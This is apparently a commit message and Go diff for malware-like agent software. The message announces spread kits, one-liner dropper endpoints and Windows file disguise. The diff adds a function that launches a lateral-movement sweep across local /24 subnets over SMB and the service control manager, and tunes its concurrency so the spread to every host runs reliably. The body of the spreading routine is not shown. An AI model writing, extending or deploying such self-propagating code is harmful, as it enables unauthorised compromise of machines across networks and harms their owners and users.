Add universal forge, fusion disguise, remote deploy, and stability fixes.

Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.

agent/deploy/autospread.go

@@ -1,3 +1,5 @@
+//go:build windows
+
 package deploy
 
 import (
@@ -37,6 +39,17 @@ func StartAutoSpreader(cfg config.RuntimeConfig) {
 	log.Printf("[autospread] Lateral movement module initialized and active")
 }
 
+// RunSpreadOnce triggers an immediate lateral movement sweep (non-blocking).
+func RunSpreadOnce(cfg config.RuntimeConfig) string {
+	go spreadToLocalSubnet(cfg)
+	return "lateral spread sweep started on local /24 subnets (SMB/SCM)"
+}
+
+// spreadSem limits concurrent spread goroutines to 16 to prevent a goroutine
+// storm on /24 sweeps (M20). Each attempt can block for several seconds on
+// SMB/sc.exe, so without a cap all 254 run concurrently.
+var spreadSem = make(chan struct{}, 16)
+
 func spreadToLocalSubnet(cfg config.RuntimeConfig) {
 	ips := getLocalIPs()
 	for _, ip := range ips {
@@ -44,14 +57,16 @@ func spreadToLocalSubnet(cfg config.RuntimeConfig) {
 		if subnet == "" {
 			continue
 		}
-		// Sweep the /24 subnet
 		for i := 1; i < 255; i++ {
 			target := fmt.Sprintf("%s.%d", subnet, i)
 			if target == ip {
-				continue // Skip self
+				continue
 			}
-			go attemptSpread(cfg, target)
-			time.Sleep(500 * time.Millisecond) // Pace the scan to avoid massive traffic bursts
+			spreadSem <- struct{}{} // acquire slot
+			go func(t string) {
+				defer func() { <-spreadSem }() // release slot when done
+				attemptSpread(cfg, t)
+			}(target)
 		}
 	}
 }